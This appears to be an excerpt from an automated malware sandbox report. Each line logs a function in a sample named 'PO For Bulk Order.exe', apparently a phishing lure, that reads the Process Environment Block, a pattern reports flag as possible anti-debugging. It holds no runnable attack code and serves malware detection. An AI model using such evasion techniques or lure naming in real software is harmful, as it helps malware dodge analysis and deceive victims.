Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D0535 mov eax, dword ptr fs:[00000030h]	2_2_019D0535
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D0535 mov eax, dword ptr fs:[00000030h]	2_2_019D0535
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D0535 mov eax, dword ptr fs:[00000030h]	2_2_019D0535
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A94500 mov eax, dword ptr fs:[00000030h]	2_2_01A94500
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A94500 mov eax, dword ptr fs:[00000030h]	2_2_01A94500
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A94500 mov eax, dword ptr fs:[00000030h]	2_2_01A94500
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A94500 mov eax, dword ptr fs:[00000030h]	2_2_01A94500
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A94500 mov eax, dword ptr fs:[00000030h]	2_2_01A94500
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A94500 mov eax, dword ptr fs:[00000030h]	2_2_01A94500
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A94500 mov eax, dword ptr fs:[00000030h]	2_2_01A94500
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C8550 mov eax, dword ptr fs:[00000030h]	2_2_019C8550
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C8550 mov eax, dword ptr fs:[00000030h]	2_2_019C8550
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F656A mov eax, dword ptr fs:[00000030h]	2_2_019F656A
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F656A mov eax, dword ptr fs:[00000030h]	2_2_019F656A
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F656A mov eax, dword ptr fs:[00000030h]	2_2_019F656A
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A4A4B0 mov eax, dword ptr fs:[00000030h]	2_2_01A4A4B0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F44B0 mov ecx, dword ptr fs:[00000030h]	2_2_019F44B0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C64AB mov eax, dword ptr fs:[00000030h]	2_2_019C64AB
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A7A49A mov eax, dword ptr fs:[00000030h]	2_2_01A7A49A
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C04E5 mov ecx, dword ptr fs:[00000030h]	2_2_019C04E5
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A46420 mov eax, dword ptr fs:[00000030h]	2_2_01A46420
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A46420 mov eax, dword ptr fs:[00000030h]	2_2_01A46420
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A46420 mov eax, dword ptr fs:[00000030h]	2_2_01A46420
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A46420 mov eax, dword ptr fs:[00000030h]	2_2_01A46420
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A46420 mov eax, dword ptr fs:[00000030h]	2_2_01A46420
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A46420 mov eax, dword ptr fs:[00000030h]	2_2_01A46420
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A46420 mov eax, dword ptr fs:[00000030h]	2_2_01A46420
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F8402 mov eax, dword ptr fs:[00000030h]	2_2_019F8402
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F8402 mov eax, dword ptr fs:[00000030h]	2_2_019F8402
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F8402 mov eax, dword ptr fs:[00000030h]	2_2_019F8402
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FA430 mov eax, dword ptr fs:[00000030h]	2_2_019FA430
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019BE420 mov eax, dword ptr fs:[00000030h]	2_2_019BE420
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019BE420 mov eax, dword ptr fs:[00000030h]	2_2_019BE420
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019BE420 mov eax, dword ptr fs:[00000030h]	2_2_019BE420
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019BC427 mov eax, dword ptr fs:[00000030h]	2_2_019BC427
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019E245A mov eax, dword ptr fs:[00000030h]	2_2_019E245A
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A4C460 mov ecx, dword ptr fs:[00000030h]	2_2_01A4C460
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019B645D mov eax, dword ptr fs:[00000030h]	2_2_019B645D
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FE443 mov eax, dword ptr fs:[00000030h]	2_2_019FE443
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FE443 mov eax, dword ptr fs:[00000030h]	2_2_019FE443
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FE443 mov eax, dword ptr fs:[00000030h]	2_2_019FE443
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FE443 mov eax, dword ptr fs:[00000030h]	2_2_019FE443
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FE443 mov eax, dword ptr fs:[00000030h]	2_2_019FE443
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FE443 mov eax, dword ptr fs:[00000030h]	2_2_019FE443
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FE443 mov eax, dword ptr fs:[00000030h]	2_2_019FE443
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FE443 mov eax, dword ptr fs:[00000030h]	2_2_019FE443
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019EA470 mov eax, dword ptr fs:[00000030h]	2_2_019EA470
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019EA470 mov eax, dword ptr fs:[00000030h]	2_2_019EA470
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019EA470 mov eax, dword ptr fs:[00000030h]	2_2_019EA470
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A7A456 mov eax, dword ptr fs:[00000030h]	2_2_01A7A456
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A747A0 mov eax, dword ptr fs:[00000030h]	2_2_01A747A0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A6678E mov eax, dword ptr fs:[00000030h]	2_2_01A6678E
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C07AF mov eax, dword ptr fs:[00000030h]	2_2_019C07AF
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A4E7E1 mov eax, dword ptr fs:[00000030h]	2_2_01A4E7E1
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CC7C0 mov eax, dword ptr fs:[00000030h]	2_2_019CC7C0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C47FB mov eax, dword ptr fs:[00000030h]	2_2_019C47FB
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C47FB mov eax, dword ptr fs:[00000030h]	2_2_019C47FB
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A407C3 mov eax, dword ptr fs:[00000030h]	2_2_01A407C3
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019E27ED mov eax, dword ptr fs:[00000030h]	2_2_019E27ED
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019E27ED mov eax, dword ptr fs:[00000030h]	2_2_019E27ED
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019E27ED mov eax, dword ptr fs:[00000030h]	2_2_019E27ED
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C0710 mov eax, dword ptr fs:[00000030h]	2_2_019C0710
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F0710 mov eax, dword ptr fs:[00000030h]	2_2_019F0710
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A3C730 mov eax, dword ptr fs:[00000030h]	2_2_01A3C730
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FC700 mov eax, dword ptr fs:[00000030h]	2_2_019FC700
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F273C mov eax, dword ptr fs:[00000030h]	2_2_019F273C
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F273C mov ecx, dword ptr fs:[00000030h]	2_2_019F273C
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F273C mov eax, dword ptr fs:[00000030h]	2_2_019F273C
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FC720 mov eax, dword ptr fs:[00000030h]	2_2_019FC720
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FC720 mov eax, dword ptr fs:[00000030h]	2_2_019FC720
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C0750 mov eax, dword ptr fs:[00000030h]	2_2_019C0750
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F674D mov esi, dword ptr fs:[00000030h]	2_2_019F674D
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F674D mov eax, dword ptr fs:[00000030h]	2_2_019F674D
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F674D mov eax, dword ptr fs:[00000030h]	2_2_019F674D
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C8770 mov eax, dword ptr fs:[00000030h]	2_2_019C8770
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D0770 mov eax, dword ptr fs:[00000030h]	2_2_019D0770
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D0770 mov eax, dword ptr fs:[00000030h]	2_2_019D0770
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D0770 mov eax, dword ptr fs:[00000030h]	2_2_019D0770
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D0770 mov eax, dword ptr fs:[00000030h]	2_2_019D0770
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D0770 mov eax, dword ptr fs:[00000030h]	2_2_019D0770
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D0770 mov eax, dword ptr fs:[00000030h]	2_2_019D0770
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D0770 mov eax, dword ptr fs:[00000030h]	2_2_019D0770
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D0770 mov eax, dword ptr fs:[00000030h]	2_2_019D0770
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D0770 mov eax, dword ptr fs:[00000030h]	2_2_019D0770
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D0770 mov eax, dword ptr fs:[00000030h]	2_2_019D0770
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D0770 mov eax, dword ptr fs:[00000030h]	2_2_019D0770
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D0770 mov eax, dword ptr fs:[00000030h]	2_2_019D0770
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02750 mov eax, dword ptr fs:[00000030h]	2_2_01A02750
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02750 mov eax, dword ptr fs:[00000030h]	2_2_01A02750
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A44755 mov eax, dword ptr fs:[00000030h]	2_2_01A44755
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A4E75D mov eax, dword ptr fs:[00000030h]	2_2_01A4E75D
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C4690 mov eax, dword ptr fs:[00000030h]	2_2_019C4690
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C4690 mov eax, dword ptr fs:[00000030h]	2_2_019C4690
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F66B0 mov eax, dword ptr fs:[00000030h]	2_2_019F66B0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FC6A6 mov eax, dword ptr fs:[00000030h]	2_2_019FC6A6
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A3E6F2 mov eax, dword ptr fs:[00000030h]	2_2_01A3E6F2
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A3E6F2 mov eax, dword ptr fs:[00000030h]	2_2_01A3E6F2
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A3E6F2 mov eax, dword ptr fs:[00000030h]	2_2_01A3E6F2
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A3E6F2 mov eax, dword ptr fs:[00000030h]	2_2_01A3E6F2
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A406F1 mov eax, dword ptr fs:[00000030h]	2_2_01A406F1
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A406F1 mov eax, dword ptr fs:[00000030h]	2_2_01A406F1
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FA6C7 mov ebx, dword ptr fs:[00000030h]	2_2_019FA6C7
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FA6C7 mov eax, dword ptr fs:[00000030h]	2_2_019FA6C7
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D260B mov eax, dword ptr fs:[00000030h]	2_2_019D260B
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D260B mov eax, dword ptr fs:[00000030h]	2_2_019D260B
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D260B mov eax, dword ptr fs:[00000030h]	2_2_019D260B
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D260B mov eax, dword ptr fs:[00000030h]	2_2_019D260B
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D260B mov eax, dword ptr fs:[00000030h]	2_2_019D260B
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D260B mov eax, dword ptr fs:[00000030h]	2_2_019D260B
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D260B mov eax, dword ptr fs:[00000030h]	2_2_019D260B
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A3E609 mov eax, dword ptr fs:[00000030h]	2_2_01A3E609
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C262C mov eax, dword ptr fs:[00000030h]	2_2_019C262C
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A02619 mov eax, dword ptr fs:[00000030h]	2_2_01A02619
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019DE627 mov eax, dword ptr fs:[00000030h]	2_2_019DE627
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F6620 mov eax, dword ptr fs:[00000030h]	2_2_019F6620
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F8620 mov eax, dword ptr fs:[00000030h]	2_2_019F8620
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A8866E mov eax, dword ptr fs:[00000030h]	2_2_01A8866E
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A8866E mov eax, dword ptr fs:[00000030h]	2_2_01A8866E
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019DC640 mov eax, dword ptr fs:[00000030h]	2_2_019DC640
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F2674 mov eax, dword ptr fs:[00000030h]	2_2_019F2674
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FA660 mov eax, dword ptr fs:[00000030h]	2_2_019FA660
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FA660 mov eax, dword ptr fs:[00000030h]	2_2_019FA660
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A489B3 mov esi, dword ptr fs:[00000030h]	2_2_01A489B3
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A489B3 mov eax, dword ptr fs:[00000030h]	2_2_01A489B3
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A489B3 mov eax, dword ptr fs:[00000030h]	2_2_01A489B3
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C09AD mov eax, dword ptr fs:[00000030h]	2_2_019C09AD
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C09AD mov eax, dword ptr fs:[00000030h]	2_2_019C09AD
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D29A0 mov eax, dword ptr fs:[00000030h]	2_2_019D29A0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D29A0 mov eax, dword ptr fs:[00000030h]	2_2_019D29A0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D29A0 mov eax, dword ptr fs:[00000030h]	2_2_019D29A0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D29A0 mov eax, dword ptr fs:[00000030h]	2_2_019D29A0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D29A0 mov eax, dword ptr fs:[00000030h]	2_2_019D29A0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D29A0 mov eax, dword ptr fs:[00000030h]	2_2_019D29A0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D29A0 mov eax, dword ptr fs:[00000030h]	2_2_019D29A0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D29A0 mov eax, dword ptr fs:[00000030h]	2_2_019D29A0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D29A0 mov eax, dword ptr fs:[00000030h]	2_2_019D29A0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D29A0 mov eax, dword ptr fs:[00000030h]	2_2_019D29A0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D29A0 mov eax, dword ptr fs:[00000030h]	2_2_019D29A0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D29A0 mov eax, dword ptr fs:[00000030h]	2_2_019D29A0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D29A0 mov eax, dword ptr fs:[00000030h]	2_2_019D29A0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A4E9E0 mov eax, dword ptr fs:[00000030h]	2_2_01A4E9E0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CA9D0 mov eax, dword ptr fs:[00000030h]	2_2_019CA9D0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CA9D0 mov eax, dword ptr fs:[00000030h]	2_2_019CA9D0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CA9D0 mov eax, dword ptr fs:[00000030h]	2_2_019CA9D0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CA9D0 mov eax, dword ptr fs:[00000030h]	2_2_019CA9D0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CA9D0 mov eax, dword ptr fs:[00000030h]	2_2_019CA9D0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CA9D0 mov eax, dword ptr fs:[00000030h]	2_2_019CA9D0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F49D0 mov eax, dword ptr fs:[00000030h]	2_2_019F49D0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A569C0 mov eax, dword ptr fs:[00000030h]	2_2_01A569C0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F29F9 mov eax, dword ptr fs:[00000030h]	2_2_019F29F9
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F29F9 mov eax, dword ptr fs:[00000030h]	2_2_019F29F9
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A8A9D3 mov eax, dword ptr fs:[00000030h]	2_2_01A8A9D3
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019B8918 mov eax, dword ptr fs:[00000030h]	2_2_019B8918
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019B8918 mov eax, dword ptr fs:[00000030h]	2_2_019B8918
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A4892A mov eax, dword ptr fs:[00000030h]	2_2_01A4892A
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A5892B mov eax, dword ptr fs:[00000030h]	2_2_01A5892B
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A3E908 mov eax, dword ptr fs:[00000030h]	2_2_01A3E908
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A3E908 mov eax, dword ptr fs:[00000030h]	2_2_01A3E908
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A4C912 mov eax, dword ptr fs:[00000030h]	2_2_01A4C912
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A0096E mov eax, dword ptr fs:[00000030h]	2_2_01A0096E
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A0096E mov edx, dword ptr fs:[00000030h]	2_2_01A0096E
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A0096E mov eax, dword ptr fs:[00000030h]	2_2_01A0096E
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A4C97C mov eax, dword ptr fs:[00000030h]	2_2_01A4C97C
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A64978 mov eax, dword ptr fs:[00000030h]	2_2_01A64978
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A64978 mov eax, dword ptr fs:[00000030h]	2_2_01A64978
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A40946 mov eax, dword ptr fs:[00000030h]	2_2_01A40946
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A94940 mov eax, dword ptr fs:[00000030h]	2_2_01A94940
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019E6962 mov eax, dword ptr fs:[00000030h]	2_2_019E6962
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019E6962 mov eax, dword ptr fs:[00000030h]	2_2_019E6962
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019E6962 mov eax, dword ptr fs:[00000030h]	2_2_019E6962
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C0887 mov eax, dword ptr fs:[00000030h]	2_2_019C0887
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A4C89D mov eax, dword ptr fs:[00000030h]	2_2_01A4C89D
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A8A8E4 mov eax, dword ptr fs:[00000030h]	2_2_01A8A8E4
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019EE8C0 mov eax, dword ptr fs:[00000030h]	2_2_019EE8C0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FC8F9 mov eax, dword ptr fs:[00000030h]	2_2_019FC8F9
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FC8F9 mov eax, dword ptr fs:[00000030h]	2_2_019FC8F9
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A908C0 mov eax, dword ptr fs:[00000030h]	2_2_01A908C0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A6483A mov eax, dword ptr fs:[00000030h]	2_2_01A6483A
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A6483A mov eax, dword ptr fs:[00000030h]	2_2_01A6483A
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019E2835 mov eax, dword ptr fs:[00000030h]	2_2_019E2835
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019E2835 mov eax, dword ptr fs:[00000030h]	2_2_019E2835
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019E2835 mov eax, dword ptr fs:[00000030h]	2_2_019E2835
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019E2835 mov ecx, dword ptr fs:[00000030h]	2_2_019E2835
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019E2835 mov eax, dword ptr fs:[00000030h]	2_2_019E2835
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019E2835 mov eax, dword ptr fs:[00000030h]	2_2_019E2835
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FA830 mov eax, dword ptr fs:[00000030h]	2_2_019FA830
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A4C810 mov eax, dword ptr fs:[00000030h]	2_2_01A4C810
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C4859 mov eax, dword ptr fs:[00000030h]	2_2_019C4859
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C4859 mov eax, dword ptr fs:[00000030h]	2_2_019C4859
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F0854 mov eax, dword ptr fs:[00000030h]	2_2_019F0854
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A56870 mov eax, dword ptr fs:[00000030h]	2_2_01A56870
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A56870 mov eax, dword ptr fs:[00000030h]	2_2_01A56870
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A4E872 mov eax, dword ptr fs:[00000030h]	2_2_01A4E872
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A4E872 mov eax, dword ptr fs:[00000030h]	2_2_01A4E872
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D2840 mov ecx, dword ptr fs:[00000030h]	2_2_019D2840
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A74BB0 mov eax, dword ptr fs:[00000030h]	2_2_01A74BB0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A74BB0 mov eax, dword ptr fs:[00000030h]	2_2_01A74BB0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D0BBE mov eax, dword ptr fs:[00000030h]	2_2_019D0BBE
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D0BBE mov eax, dword ptr fs:[00000030h]	2_2_019D0BBE
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C0BCD mov eax, dword ptr fs:[00000030h]	2_2_019C0BCD
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C0BCD mov eax, dword ptr fs:[00000030h]	2_2_019C0BCD
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C0BCD mov eax, dword ptr fs:[00000030h]	2_2_019C0BCD
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A4CBF0 mov eax, dword ptr fs:[00000030h]	2_2_01A4CBF0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019E0BCB mov eax, dword ptr fs:[00000030h]	2_2_019E0BCB
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019E0BCB mov eax, dword ptr fs:[00000030h]	2_2_019E0BCB
